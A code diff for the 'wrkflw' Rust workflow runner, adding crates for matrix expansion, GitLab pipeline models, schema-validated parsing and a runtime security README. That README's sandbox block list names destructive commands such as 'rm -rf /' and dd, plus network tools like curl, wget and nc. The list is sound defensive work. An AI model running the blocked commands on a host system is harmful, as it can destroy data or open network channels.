+            // Print to stdout/stderr based on level
+            match level {
+                LogLevel::Error | LogLevel::Warning => eprintln!("{}", formatted),
+                _ => println!("{}", formatted),
+            }
+        }
+    }
 }
 
 // Get all logs

crates/matrix/Cargo.toml

@@ -0,0 +1,21 @@
+[package]
+name = "wrkflw-matrix"
+version = "0.7.3"
+edition.workspace = true
+description = "Matrix job parallelization for wrkflw workflow execution engine"
+license.workspace = true
+documentation.workspace = true
+homepage.workspace = true
+repository.workspace = true
+keywords.workspace = true
+categories.workspace = true
+
+[dependencies]
+# Internal crates
+wrkflw-models.workspace = true
+
+# External dependencies
+indexmap.workspace = true
+serde.workspace = true
+serde_yaml.workspace = true
+thiserror.workspace = true

crates/matrix/README.md

@@ -0,0 +1,20 @@
+## wrkflw-matrix
+
+Matrix expansion utilities used to compute all job combinations and format labels.
+
+- Supports `include`, `exclude`, `max-parallel`, and `fail-fast`
+- Provides display helpers for UI/CLI
+
+### Example
+
+```rust
+use wrkflw_matrix::{MatrixConfig, expand_matrix};
+use serde_yaml::Value;
+use std::collections::HashMap;
+
+let mut cfg = MatrixConfig::default();
+cfg.parameters.insert("os".into(), Value::from(vec!["ubuntu", "alpine"])) ;
+
+let combos = expand_matrix(&cfg).expect("expand");
+assert!(!combos.is_empty());
+```

crates/matrix/src/lib.rs

@@ -1,3 +1,5 @@
+// matrix crate
+
 use indexmap::IndexMap;
 use serde::{Deserialize, Serialize};
 use serde_yaml::Value;

crates/models/Cargo.toml

@@ -0,0 +1,17 @@
+[package]
+name = "wrkflw-models"
+version = "0.7.3"
+edition.workspace = true
+description = "Data models and structures for wrkflw workflow execution engine"
+license.workspace = true
+documentation.workspace = true
+homepage.workspace = true
+repository.workspace = true
+keywords.workspace = true
+categories.workspace = true
+
+[dependencies]
+serde.workspace = true
+serde_yaml.workspace = true
+serde_json.workspace = true
+thiserror.workspace = true

crates/models/README.md

@@ -0,0 +1,16 @@
+## wrkflw-models
+
+Common data structures shared across crates.
+
+- `ValidationResult` for structural/semantic checks
+- GitLab pipeline models (serde types)
+
+### Example
+
+```rust
+use wrkflw_models::ValidationResult;
+
+let mut res = ValidationResult::new();
+res.add_issue("missing jobs".into());
+assert!(!res.is_valid);
+```

crates/models/src/lib.rs

@@ -0,0 +1,338 @@
+pub struct ValidationResult {
+    pub is_valid: bool,
+    pub issues: Vec<String>,
+}
+
+impl Default for ValidationResult {
+    fn default() -> Self {
+        Self::new()
+    }
+}
+
+impl ValidationResult {
+    pub fn new() -> Self {
+        ValidationResult {
+            is_valid: true,
+            issues: Vec::new(),
+        }
+    }
+
+    pub fn add_issue(&mut self, issue: String) {
+        self.is_valid = false;
+        self.issues.push(issue);
+    }
+}
+
+// GitLab pipeline models
+pub mod gitlab {
+    use serde::{Deserialize, Serialize};
+    use std::collections::HashMap;
+
+    /// Represents a GitLab CI/CD pipeline configuration
+    #[derive(Debug, Serialize, Deserialize, Clone)]
+    pub struct Pipeline {
+        /// Default image for all jobs
+        #[serde(skip_serializing_if = "Option::is_none")]
+        pub image: Option<Image>,
+
+        /// Global variables available to all jobs
+        #[serde(skip_serializing_if = "Option::is_none")]
+        pub variables: Option<HashMap<String, String>>,
+
+        /// Pipeline stages in execution order
+        #[serde(skip_serializing_if = "Option::is_none")]
+        pub stages: Option<Vec<String>>,
+
+        /// Default before_script for all jobs
+        #[serde(skip_serializing_if = "Option::is_none")]
+        pub before_script: Option<Vec<String>>,
+
+        /// Default after_script for all jobs
+        #[serde(skip_serializing_if = "Option::is_none")]
+        pub after_script: Option<Vec<String>>,
+
+        /// Job definitions (name => job)
+        #[serde(flatten)]
+        pub jobs: HashMap<String, Job>,
+
+        /// Workflow rules for the pipeline
+        #[serde(skip_serializing_if = "Option::is_none")]
+        pub workflow: Option<Workflow>,
+
+        /// Includes for pipeline configuration
+        #[serde(skip_serializing_if = "Option::is_none")]
+        pub include: Option<Vec<Include>>,
+    }
+
+    /// A job in a GitLab CI/CD pipeline
+    #[derive(Debug, Serialize, Deserialize, Clone)]
+    pub struct Job {
+        /// The stage this job belongs to
+        #[serde(skip_serializing_if = "Option::is_none")]
+        pub stage: Option<String>,
+
+        /// Docker image to use for this job
+        #[serde(skip_serializing_if = "Option::is_none")]
+        pub image: Option<Image>,
+
+        /// Script commands to run
+        #[serde(skip_serializing_if = "Option::is_none")]
+        pub script: Option<Vec<String>>,
+
+        /// Commands to run before the main script
+        #[serde(skip_serializing_if = "Option::is_none")]
+        pub before_script: Option<Vec<String>>,
+
+        /// Commands to run after the main script
+        #[serde(skip_serializing_if = "Option::is_none")]
+        pub after_script: Option<Vec<String>>,
+
+        /// When to run the job (on_success, on_failure, always, manual)
+        #[serde(skip_serializing_if = "Option::is_none")]
+        pub when: Option<String>,
+
+        /// Allow job failure
+        #[serde(skip_serializing_if = "Option::is_none")]
+        pub allow_failure: Option<bool>,
+
+        /// Services to run alongside the job
+        #[serde(skip_serializing_if = "Option::is_none")]
+        pub services: Option<Vec<Service>>,
+
+        /// Tags to define which runners can execute this job
+        #[serde(skip_serializing_if = "Option::is_none")]
+        pub tags: Option<Vec<String>>,
+
+        /// Job-specific variables
+        #[serde(skip_serializing_if = "Option::is_none")]
+        pub variables: Option<HashMap<String, String>>,
+
+        /// Job dependencies
+        #[serde(skip_serializing_if = "Option::is_none")]
+        pub dependencies: Option<Vec<String>>,
+
+        /// Artifacts to store after job execution
+        #[serde(skip_serializing_if = "Option::is_none")]
+        pub artifacts: Option<Artifacts>,
+
+        /// Cache configuration
+        #[serde(skip_serializing_if = "Option::is_none")]
+        pub cache: Option<Cache>,
+
+        /// Rules for when this job should run
+        #[serde(skip_serializing_if = "Option::is_none")]
+        pub rules: Option<Vec<Rule>>,
+
+        /// Only run on specified refs
+        #[serde(skip_serializing_if = "Option::is_none")]
+        pub only: Option<Only>,
+
+        /// Exclude specified refs
+        #[serde(skip_serializing_if = "Option::is_none")]
+        pub except: Option<Except>,
+
+        /// Retry configuration
+        #[serde(skip_serializing_if = "Option::is_none")]
+        pub retry: Option<Retry>,
+
+        /// Timeout for the job in seconds
+        #[serde(skip_serializing_if = "Option::is_none")]
+        pub timeout: Option<String>,
+
+        /// Mark job as parallel and specify instance count
+        #[serde(skip_serializing_if = "Option::is_none")]
+        pub parallel: Option<usize>,
+
+        /// Flag to indicate this is a template job
+        #[serde(skip_serializing_if = "Option::is_none")]
+        pub template: Option<bool>,
+
+        /// List of jobs this job extends from
+        #[serde(skip_serializing_if = "Option::is_none")]
+        pub extends: Option<Vec<String>>,
+    }
+
+    /// Docker image configuration
+    #[derive(Debug, Serialize, Deserialize, Clone)]
+    #[serde(untagged)]
+    pub enum Image {
+        /// Simple image name as string
+        Simple(String),
+        /// Detailed image configuration
+        Detailed {
+            /// Image name
+            name: String,
+            /// Entrypoint to override in the image
+            #[serde(skip_serializing_if = "Option::is_none")]
+            entrypoint: Option<Vec<String>>,
+        },
+    }
+
+    /// Service container to run alongside a job
+    #[derive(Debug, Serialize, Deserialize, Clone)]
+    #[serde(untagged)]
+    pub enum Service {
+        /// Simple service name as string
+        Simple(String),
+        /// Detailed service configuration
+        Detailed {
+            /// Service name/image
+            name: String,
+            /// Command to run in the service container
+            #[serde(skip_serializing_if = "Option::is_none")]
+            command: Option<Vec<String>>,
+            /// Entrypoint to override in the image
+            #[serde(skip_serializing_if = "Option::is_none")]
+            entrypoint: Option<Vec<String>>,
+        },
+    }
+
+    /// Artifacts configuration
+    #[derive(Debug, Serialize, Deserialize, Clone)]
+    pub struct Artifacts {
+        /// Paths to include as artifacts
+        #[serde(skip_serializing_if = "Option::is_none")]
+        pub paths: Option<Vec<String>>,
+        /// Artifact expiration duration
+        #[serde(skip_serializing_if = "Option::is_none")]
+        pub expire_in: Option<String>,
+        /// When to upload artifacts (on_success, on_failure, always)
+        #[serde(skip_serializing_if = "Option::is_none")]
+        pub when: Option<String>,
+    }
+
+    /// Cache configuration
+    #[derive(Debug, Serialize, Deserialize, Clone)]
+    pub struct Cache {
+        /// Cache key
+        #[serde(skip_serializing_if = "Option::is_none")]
+        pub key: Option<String>,
+        /// Paths to cache
+        #[serde(skip_serializing_if = "Option::is_none")]
+        pub paths: Option<Vec<String>>,
+        /// When to save cache (on_success, on_failure, always)
+        #[serde(skip_serializing_if = "Option::is_none")]
+        pub when: Option<String>,
+        /// Cache policy
+        #[serde(skip_serializing_if = "Option::is_none")]
+        pub policy: Option<String>,
+    }
+
+    /// Rule for conditional job execution
+    #[derive(Debug, Serialize, Deserialize, Clone)]
+    pub struct Rule {
+        /// If condition expression
+        #[serde(skip_serializing_if = "Option::is_none")]
+        pub if_: Option<String>,
+        /// When to run if condition is true
+        #[serde(skip_serializing_if = "Option::is_none")]
+        pub when: Option<String>,
+        /// Variables to set if condition is true
+        #[serde(skip_serializing_if = "Option::is_none")]
+        pub variables: Option<HashMap<String, String>>,
+    }
+
+    /// Only/except configuration
+    #[derive(Debug, Serialize, Deserialize, Clone)]
+    #[serde(untagged)]
+    pub enum Only {
+        /// Simple list of refs
+        Refs(Vec<String>),
+        /// Detailed configuration
+        Complex {
+            /// Refs to include
+            #[serde(skip_serializing_if = "Option::is_none")]
+            refs: Option<Vec<String>>,
+            /// Branch patterns to include
+            #[serde(skip_serializing_if = "Option::is_none")]
+            branches: Option<Vec<String>>,
+            /// Tags to include
+            #[serde(skip_serializing_if = "Option::is_none")]
+            tags: Option<Vec<String>>,
+            /// Pipeline types to include
+            #[serde(skip_serializing_if = "Option::is_none")]
+            variables: Option<Vec<String>>,
+            /// Changes to files that trigger the job
+            #[serde(skip_serializing_if = "Option::is_none")]
+            changes: Option<Vec<String>>,
+        },
+    }
+
+    /// Except configuration
+    #[derive(Debug, Serialize, Deserialize, Clone)]
+    #[serde(untagged)]
+    pub enum Except {
+        /// Simple list of refs
+        Refs(Vec<String>),
+        /// Detailed configuration
+        Complex {
+            /// Refs to exclude
+            #[serde(skip_serializing_if = "Option::is_none")]
+            refs: Option<Vec<String>>,
+            /// Branch patterns to exclude
+            #[serde(skip_serializing_if = "Option::is_none")]
+            branches: Option<Vec<String>>,
+            /// Tags to exclude
+            #[serde(skip_serializing_if = "Option::is_none")]
+            tags: Option<Vec<String>>,
+            /// Pipeline types to exclude
+            #[serde(skip_serializing_if = "Option::is_none")]
+            variables: Option<Vec<String>>,
+            /// Changes to files that don't trigger the job
+            #[serde(skip_serializing_if = "Option::is_none")]
+            changes: Option<Vec<String>>,
+        },
+    }
+
+    /// Workflow configuration
+    #[derive(Debug, Serialize, Deserialize, Clone)]
+    pub struct Workflow {
+        /// Rules for when to run the pipeline
+        pub rules: Vec<Rule>,
+    }
+
+    /// Retry configuration
+    #[derive(Debug, Serialize, Deserialize, Clone)]
+    #[serde(untagged)]
+    pub enum Retry {
+        /// Simple max attempts
+        MaxAttempts(u32),
+        /// Detailed retry configuration
+        Detailed {
+            /// Maximum retry attempts
+            max: u32,
+            /// When to retry
+            #[serde(skip_serializing_if = "Option::is_none")]
+            when: Option<Vec<String>>,
+        },
+    }
+
+    /// Include configuration for external pipeline files
+    #[derive(Debug, Serialize, Deserialize, Clone)]
+    #[serde(untagged)]
+    pub enum Include {
+        /// Simple string include
+        Local(String),
+        /// Detailed include configuration
+        Detailed {
+            /// Local file path
+            #[serde(skip_serializing_if = "Option::is_none")]
+            local: Option<String>,
+            /// Remote file URL
+            #[serde(skip_serializing_if = "Option::is_none")]
+            remote: Option<String>,
+            /// Include from project
+            #[serde(skip_serializing_if = "Option::is_none")]
+            project: Option<String>,
+            /// Include specific file from project
+            #[serde(skip_serializing_if = "Option::is_none")]
+            file: Option<String>,
+            /// Include template
+            #[serde(skip_serializing_if = "Option::is_none")]
+            template: Option<String>,
+            /// Ref to use when including from project
+            #[serde(skip_serializing_if = "Option::is_none")]
+            ref_: Option<String>,
+        },
+    }
+}

crates/parser/Cargo.toml

@@ -0,0 +1,26 @@
+[package]
+name = "wrkflw-parser"
+version = "0.7.3"
+edition.workspace = true
+description = "Workflow parsing functionality for wrkflw execution engine"
+license.workspace = true
+documentation.workspace = true
+homepage.workspace = true
+repository.workspace = true
+keywords.workspace = true
+categories.workspace = true
+
+[dependencies]
+# Internal crates
+wrkflw-models.workspace = true
+wrkflw-matrix.workspace = true
+
+# External dependencies
+jsonschema.workspace = true
+serde.workspace = true
+serde_yaml.workspace = true
+serde_json.workspace = true
+thiserror.workspace = true
+
+[dev-dependencies]
+tempfile = "3.7"

crates/parser/README.md

@@ -0,0 +1,13 @@
+## wrkflw-parser
+
+Parsers and schema helpers for GitHub/GitLab workflow files.
+
+- GitHub Actions workflow parsing and JSON Schema validation
+- GitLab CI parsing helpers
+
+### Example
+
+```rust
+// High-level crates (`wrkflw` and `wrkflw-executor`) wrap parser usage.
+// Use those unless you are extending parsing behavior directly.
+```

crates/parser/src/gitlab.rs

@@ -0,0 +1,278 @@
+use crate::schema::{SchemaType, SchemaValidator};
+use crate::workflow;
+use std::collections::HashMap;
+use std::fs;
+use std::path::Path;
+use thiserror::Error;
+use wrkflw_models::gitlab::Pipeline;
+use wrkflw_models::ValidationResult;
+
+#[derive(Error, Debug)]
+pub enum GitlabParserError {
+    #[error("I/O error: {0}")]
+    IoError(#[from] std::io::Error),
+
+    #[error("YAML parsing error: {0}")]
+    YamlError(#[from] serde_yaml::Error),
+
+    #[error("Invalid pipeline structure: {0}")]
+    InvalidStructure(String),
+
+    #[error("Schema validation error: {0}")]
+    SchemaValidationError(String),
+}
+
+/// Parse a GitLab CI/CD pipeline file
+pub fn parse_pipeline(pipeline_path: &Path) -> Result<Pipeline, GitlabParserError> {
+    // Read the pipeline file
+    let pipeline_content = fs::read_to_string(pipeline_path)?;
+
+    // Validate against schema
+    let validator = SchemaValidator::new().map_err(GitlabParserError::SchemaValidationError)?;
+
+    validator
+        .validate_with_specific_schema(&pipeline_content, SchemaType::GitLab)
+        .map_err(GitlabParserError::SchemaValidationError)?;
+
+    // Parse the pipeline YAML
+    let pipeline: Pipeline = serde_yaml::from_str(&pipeline_content)?;
+
+    // Return the parsed pipeline
+    Ok(pipeline)
+}
+
+/// Validate the basic structure of a GitLab CI/CD pipeline
+pub fn validate_pipeline_structure(pipeline: &Pipeline) -> ValidationResult {
+    let mut result = ValidationResult::new();
+
+    // Check for at least one job
+    if pipeline.jobs.is_empty() {
+        result.add_issue("Pipeline must contain at least one job".to_string());
+    }
+
+    // Check for script in jobs
+    for (job_name, job) in &pipeline.jobs {
+        // Skip template jobs
+        if let Some(true) = job.template {
+            continue;
+        }
+
+        // Check for script or extends
+        if job.script.is_none() && job.extends.is_none() {
+            result.add_issue(format!(
+                "Job '{}' must have a script section or extend another job",
+                job_name
+            ));
+        }
+    }
+
+    // Check that referenced stages are defined
+    if let Some(stages) = &pipeline.stages {
+        for (job_name, job) in &pipeline.jobs {
+            if let Some(stage) = &job.stage {
+                if !stages.contains(stage) {
+                    result.add_issue(format!(
+                        "Job '{}' references undefined stage '{}'",
+                        job_name, stage
+                    ));
+                }
+            }
+        }
+    }
+
+    // Check that job dependencies exist
+    for (job_name, job) in &pipeline.jobs {
+        if let Some(dependencies) = &job.dependencies {
+            for dependency in dependencies {
+                if !pipeline.jobs.contains_key(dependency) {
+                    result.add_issue(format!(
+                        "Job '{}' depends on undefined job '{}'",
+                        job_name, dependency
+                    ));
+                }
+            }
+        }
+    }
+
+    // Check that job extensions exist
+    for (job_name, job) in &pipeline.jobs {
+        if let Some(extends) = &job.extends {
+            for extend in extends {
+                if !pipeline.jobs.contains_key(extend) {
+                    result.add_issue(format!(
+                        "Job '{}' extends undefined job '{}'",
+                        job_name, extend
+                    ));
+                }
+            }
+        }
+    }
+
+    result
+}
+
+/// Convert a GitLab CI/CD pipeline to a format compatible with the workflow executor
+pub fn convert_to_workflow_format(pipeline: &Pipeline) -> workflow::WorkflowDefinition {
+    // Create a new workflow with required fields
+    let mut workflow = workflow::WorkflowDefinition {
+        name: "Converted GitLab CI Pipeline".to_string(),
+        on: vec!["push".to_string()], // Default trigger
+        on_raw: serde_yaml::Value::String("push".to_string()),
+        jobs: HashMap::new(),
+    };
+
+    // Convert each GitLab job to a GitHub Actions job
+    for (job_name, gitlab_job) in &pipeline.jobs {
+        // Skip template jobs
+        if let Some(true) = gitlab_job.template {
+            continue;
+        }
+
+        // Create a new job
+        let mut job = workflow::Job {
+            runs_on: Some(vec!["ubuntu-latest".to_string()]), // Default runner
+            needs: None,
+            steps: Vec::new(),
+            env: HashMap::new(),
+            matrix: None,
+            services: HashMap::new(),
+            if_condition: None,
+            outputs: None,
+            permissions: None,
+            uses: None,
+            with: None,
+            secrets: None,
+        };
+
+        // Add job-specific environment variables
+        if let Some(variables) = &gitlab_job.variables {
+            job.env.extend(variables.clone());
+        }
+
+        // Add global variables if they exist
+        if let Some(variables) = &pipeline.variables {
+            // Only add if not already defined at job level
+            for (key, value) in variables {
+                job.env.entry(key.clone()).or_insert_with(|| value.clone());
+            }
+        }
+
+        // Convert before_script to steps if it exists
+        if let Some(before_script) = &gitlab_job.before_script {
+            for (i, cmd) in before_script.iter().enumerate() {
+                let step = workflow::Step {
+                    name: Some(format!("Before script {}", i + 1)),
+                    uses: None,
+                    run: Some(cmd.clone()),
+                    with: None,
+                    env: HashMap::new(),
+                    continue_on_error: None,
+                };
+                job.steps.push(step);
+            }
+        }
+
+        // Convert main script to steps
+        if let Some(script) = &gitlab_job.script {
+            for (i, cmd) in script.iter().enumerate() {
+                let step = workflow::Step {
+                    name: Some(format!("Run script line {}", i + 1)),
+                    uses: None,
+                    run: Some(cmd.clone()),
+                    with: None,
+                    env: HashMap::new(),
+                    continue_on_error: None,
+                };
+                job.steps.push(step);
+            }
+        }
+
+        // Convert after_script to steps if it exists
+        if let Some(after_script) = &gitlab_job.after_script {
+            for (i, cmd) in after_script.iter().enumerate() {
+                let step = workflow::Step {
+                    name: Some(format!("After script {}", i + 1)),
+                    uses: None,
+                    run: Some(cmd.clone()),
+                    with: None,
+                    env: HashMap::new(),
+                    continue_on_error: Some(true), // After script should continue even if previous steps fail
+                };
+                job.steps.push(step);
+            }
+        }
+
+        // Add services if they exist
+        if let Some(services) = &gitlab_job.services {
+            for (i, service) in services.iter().enumerate() {
+                let service_name = format!("service-{}", i);
+                let service_image = match service {
+                    wrkflw_models::gitlab::Service::Simple(name) => name.clone(),
+                    wrkflw_models::gitlab::Service::Detailed { name, .. } => name.clone(),
+                };
+
+                let service = workflow::Service {
+                    image: service_image,
+                    ports: None,
+                    env: HashMap::new(),
+                    volumes: None,
+                    options: None,
+                };
+
+                job.services.insert(service_name, service);
+            }
+        }
+
+        // Add the job to the workflow
+        workflow.jobs.insert(job_name.clone(), job);
+    }
+
+    workflow
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    // use std::path::PathBuf; // unused
+    use tempfile::NamedTempFile;
+
+    #[test]
+    fn test_parse_simple_pipeline() {
+        // Create a temporary file with a simple GitLab CI/CD pipeline
+        let file = NamedTempFile::new().unwrap();
+        let content = r#"
+stages:
+  - build
+  - test
+
+build_job:
+  stage: build
+  script:
+    - echo "Building..."
+    - make build
+
+test_job:
+  stage: test
+  script:
+    - echo "Testing..."
+    - make test
+"#;
+        fs::write(&file, content).unwrap();
+
+        // Parse the pipeline
+        let pipeline = parse_pipeline(file.path()).unwrap();
+
+        // Validate basic structure
+        assert_eq!(pipeline.stages.as_ref().unwrap().len(), 2);
+        assert_eq!(pipeline.jobs.len(), 2);
+
+        // Check job contents
+        let build_job = pipeline.jobs.get("build_job").unwrap();
+        assert_eq!(build_job.stage.as_ref().unwrap(), "build");
+        assert_eq!(build_job.script.as_ref().unwrap().len(), 2);
+
+        let test_job = pipeline.jobs.get("test_job").unwrap();
+        assert_eq!(test_job.stage.as_ref().unwrap(), "test");
+        assert_eq!(test_job.script.as_ref().unwrap().len(), 2);
+    }
+}

crates/parser/src/lib.rs

@@ -0,0 +1,5 @@
+// parser crate
+
+pub mod gitlab;
+pub mod schema;
+pub mod workflow;

crates/parser/src/schema.rs

@@ -0,0 +1,111 @@
+use jsonschema::JSONSchema;
+use serde_json::Value;
+use std::fs;
+use std::path::Path;
+
+const GITHUB_WORKFLOW_SCHEMA: &str = include_str!("github-workflow.json");
+const GITLAB_CI_SCHEMA: &str = include_str!("gitlab-ci.json");
+
+#[derive(Debug, Clone, Copy)]
+pub enum SchemaType {
+    GitHub,
+    GitLab,
+}
+
+pub struct SchemaValidator {
+    github_schema: JSONSchema,
+    gitlab_schema: JSONSchema,
+}
+
+impl SchemaValidator {
+    pub fn new() -> Result<Self, String> {
+        let github_schema_json: Value = serde_json::from_str(GITHUB_WORKFLOW_SCHEMA)
+            .map_err(|e| format!("Failed to parse GitHub workflow schema: {}", e))?;
+
+        let gitlab_schema_json: Value = serde_json::from_str(GITLAB_CI_SCHEMA)
+            .map_err(|e| format!("Failed to parse GitLab CI schema: {}", e))?;
+
+        let github_schema = JSONSchema::compile(&github_schema_json)
+            .map_err(|e| format!("Failed to compile GitHub JSON schema: {}", e))?;
+
+        let gitlab_schema = JSONSchema::compile(&gitlab_schema_json)
+            .map_err(|e| format!("Failed to compile GitLab JSON schema: {}", e))?;
+
+        Ok(Self {
+            github_schema,
+            gitlab_schema,
+        })
+    }
+
+    pub fn validate_workflow(&self, workflow_path: &Path) -> Result<(), String> {
+        // Determine the schema type based on the filename
+        let schema_type = if workflow_path.file_name().is_some_and(|name| {
+            let name_str = name.to_string_lossy();
+            name_str.ends_with(".gitlab-ci.yml") || name_str.ends_with(".gitlab-ci.yaml")
+        }) {
+            SchemaType::GitLab
+        } else {
+            SchemaType::GitHub
+        };
+
+        // Read the workflow file
+        let content = fs::read_to_string(workflow_path)
+            .map_err(|e| format!("Failed to read workflow file: {}", e))?;
+
+        // Parse YAML to JSON Value
+        let workflow_json: Value = serde_yaml::from_str(&content)
+            .map_err(|e| format!("Failed to parse workflow YAML: {}", e))?;
+
+        // Validate against the appropriate schema
+        let validation_result = match schema_type {
+            SchemaType::GitHub => self.github_schema.validate(&workflow_json),
+            SchemaType::GitLab => self.gitlab_schema.validate(&workflow_json),
+        };
+
+        // Handle validation errors
+        if let Err(errors) = validation_result {
+            let schema_name = match schema_type {
+                SchemaType::GitHub => "GitHub workflow",
+                SchemaType::GitLab => "GitLab CI",
+            };
+            let mut error_msg = format!("{} validation failed:\n", schema_name);
+            for error in errors {
+                error_msg.push_str(&format!("- {}\n", error));
+            }
+            return Err(error_msg);
+        }
+
+        Ok(())
+    }
+
+    pub fn validate_with_specific_schema(
+        &self,
+        content: &str,
+        schema_type: SchemaType,
+    ) -> Result<(), String> {
+        // Parse YAML to JSON Value
+        let workflow_json: Value =
+            serde_yaml::from_str(content).map_err(|e| format!("Failed to parse YAML: {}", e))?;
+
+        // Validate against the appropriate schema
+        let validation_result = match schema_type {
+            SchemaType::GitHub => self.github_schema.validate(&workflow_json),
+            SchemaType::GitLab => self.gitlab_schema.validate(&workflow_json),
+        };
+
+        // Handle validation errors
+        if let Err(errors) = validation_result {
+            let schema_name = match schema_type {
+                SchemaType::GitHub => "GitHub workflow",
+                SchemaType::GitLab => "GitLab CI",
+            };
+            let mut error_msg = format!("{} validation failed:\n", schema_name);
+            for error in errors {
+                error_msg.push_str(&format!("- {}\n", error));
+            }
+            return Err(error_msg);
+        }
+
+        Ok(())
+    }
+}

crates/parser/src/workflow.rs

@@ -1,8 +1,50 @@
-use crate::matrix::MatrixConfig;
-use serde::{Deserialize, Serialize};
+use serde::{Deserialize, Deserializer, Serialize};
 use std::collections::HashMap;
 use std::fs;
 use std::path::Path;
+use wrkflw_matrix::MatrixConfig;
+
+use super::schema::SchemaValidator;
+
+// Custom deserializer for needs field that handles both string and array formats
+fn deserialize_needs<'de, D>(deserializer: D) -> Result<Option<Vec<String>>, D::Error>
+where
+    D: Deserializer<'de>,
+{
+    #[derive(Deserialize)]
+    #[serde(untagged)]
+    enum StringOrVec {
+        String(String),
+        Vec(Vec<String>),
+    }
+
+    let value = Option::<StringOrVec>::deserialize(deserializer)?;
+    match value {
+        Some(StringOrVec::String(s)) => Ok(Some(vec![s])),
+        Some(StringOrVec::Vec(v)) => Ok(Some(v)),
+        None => Ok(None),
+    }
+}
+
+// Custom deserializer for runs-on field that handles both string and array formats
+fn deserialize_runs_on<'de, D>(deserializer: D) -> Result<Option<Vec<String>>, D::Error>
+where
+    D: Deserializer<'de>,
+{
+    #[derive(Deserialize)]
+    #[serde(untagged)]
+    enum StringOrVec {
+        String(String),
+        Vec(Vec<String>),
+    }
+
+    let value = Option::<StringOrVec>::deserialize(deserializer)?;
+    match value {
+        Some(StringOrVec::String(s)) => Ok(Some(vec![s])),
+        Some(StringOrVec::Vec(v)) => Ok(Some(v)),
+        None => Ok(None),
+    }
+}
 
 #[derive(Debug, Deserialize, Serialize)]
 pub struct WorkflowDefinition {
@@ -16,10 +58,11 @@ pub struct WorkflowDefinition {
 
 #[derive(Debug, Deserialize, Serialize)]
 pub struct Job {
-    #[serde(rename = "runs-on")]
-    pub runs_on: String,
-    #[serde(default)]
+    #[serde(rename = "runs-on", default, deserialize_with = "deserialize_runs_on")]
+    pub runs_on: Option<Vec<String>>,
+    #[serde(default, deserialize_with = "deserialize_needs")]
     pub needs: Option<Vec<String>>,
+    #[serde(default)]
     pub steps: Vec<Step>,
     #[serde(default)]
     pub env: HashMap<String, String>,
@@ -27,6 +70,19 @@ pub struct Job {
     pub matrix: Option<MatrixConfig>,
     #[serde(default)]
     pub services: HashMap<String, Service>,
+    #[serde(default, rename = "if")]
+    pub if_condition: Option<String>,
+    #[serde(default)]
+    pub outputs: Option<HashMap<String, String>>,
+    #[serde(default)]
+    pub permissions: Option<HashMap<String, String>>,
+    // Reusable workflow (job-level 'uses') support
+    #[serde(default)]
+    pub uses: Option<String>,
+    #[serde(default)]
+    pub with: Option<HashMap<String, String>>,
+    #[serde(default)]
+    pub secrets: Option<serde_yaml::Value>,
 }
 
 #[derive(Debug, Deserialize, Serialize)]
@@ -54,6 +110,8 @@ pub struct Step {
     pub with: Option<HashMap<String, String>>,
     #[serde(default)]
     pub env: HashMap<String, String>,
+    #[serde(default)]
+    pub continue_on_error: Option<bool>,
 }
 
 impl WorkflowDefinition {
@@ -83,6 +141,11 @@ pub struct ActionInfo {
 }
 
 pub fn parse_workflow(path: &Path) -> Result<WorkflowDefinition, String> {
+    // First validate against schema
+    let validator = SchemaValidator::new()?;
+    validator.validate_workflow(path)?;
+
+    // If validation passes, parse the workflow
     let content =
         fs::read_to_string(path).map_err(|e| format!("Failed to read workflow file: {}", e))?;
 

crates/runtime/Cargo.toml

@@ -0,0 +1,30 @@
+[package]
+name = "wrkflw-runtime"
+version = "0.7.3"
+edition.workspace = true
+description = "Runtime execution environment for wrkflw workflow engine"
+license.workspace = true
+documentation.workspace = true
+homepage.workspace = true
+repository.workspace = true
+keywords.workspace = true
+categories.workspace = true
+
+[dependencies]
+# Internal crates
+wrkflw-models.workspace = true
+wrkflw-logging.workspace = true
+
+# External dependencies
+async-trait.workspace = true
+once_cell.workspace = true
+serde.workspace = true
+serde_yaml.workspace = true
+tempfile.workspace = true
+tokio.workspace = true
+futures.workspace = true
+ignore = "0.4"
+wrkflw-utils.workspace = true
+which.workspace = true
+regex.workspace = true
+thiserror.workspace = true

crates/runtime/README.md

@@ -0,0 +1,13 @@
+## wrkflw-runtime
+
+Runtime abstractions for executing steps in containers or emulation.
+
+- Container management primitives used by the executor
+- Emulation mode helpers (run on host without containers)
+
+### Example
+
+```rust
+// This crate is primarily consumed by `wrkflw-executor`.
+// Prefer using the executor API instead of calling runtime directly.
+```

crates/runtime/README_SECURITY.md

@@ -0,0 +1,258 @@
+# Security Features in wrkflw Runtime
+
+This document describes the security features implemented in the wrkflw runtime, particularly the sandboxing capabilities for emulation mode.
+
+## Overview
+
+The wrkflw runtime provides multiple execution modes with varying levels of security:
+
+1. **Docker Mode** - Uses Docker containers for isolation (recommended for production)
+2. **Podman Mode** - Uses Podman containers for isolation with rootless support
+3. **Secure Emulation Mode** - 🔒 **NEW**: Sandboxed execution on the host system
+4. **Emulation Mode** - ⚠️ **UNSAFE**: Direct execution on the host system (deprecated)
+
+## Security Modes
+
+### 🔒 Secure Emulation Mode (Recommended for Local Development)
+
+The secure emulation mode provides comprehensive sandboxing to protect your system from potentially harmful commands while still allowing legitimate workflow operations.
+
+#### Features
+
+- **Command Validation**: Blocks dangerous commands like `rm -rf /`, `dd`, `sudo`, etc.
+- **Pattern Detection**: Uses regex patterns to detect dangerous command combinations
+- **Resource Limits**: Enforces CPU, memory, and execution time limits
+- **Filesystem Isolation**: Restricts file access to allowed paths only
+- **Environment Sanitization**: Filters dangerous environment variables
+- **Process Monitoring**: Tracks and limits spawned processes
+
+#### Usage
+
+```bash
+# Use secure emulation mode (recommended)
+wrkflw run --runtime secure-emulation .github/workflows/build.yml
+
+# Or via TUI
+wrkflw tui --runtime secure-emulation
+```
+
+#### Command Whitelist/Blacklist
+
+**Allowed Commands (Safe):**
+- Basic utilities: `echo`, `cat`, `ls`, `grep`, `sed`, `awk`
+- Development tools: `cargo`, `npm`, `python`, `git`, `node`
+- Build tools: `make`, `cmake`, `javac`, `dotnet`
+
+**Blocked Commands (Dangerous):**
+- System modification: `rm`, `dd`, `mkfs`, `mount`, `sudo`
+- Network tools: `wget`, `curl`, `ssh`, `nc`
+- Process control: `kill`, `killall`, `systemctl`
+
+#### Resource Limits
+
+```rust
+// Default configuration
+SandboxConfig {
+    max_execution_time: Duration::from_secs(300),  // 5 minutes
+    max_memory_mb: 512,                            // 512 MB
+    max_cpu_percent: 80,                           // 80% CPU
+    max_processes: 10,                             // Max 10 processes
+    allow_network: false,                          // No network access
+    strict_mode: true,                             // Whitelist-only mode
+}
+```
+
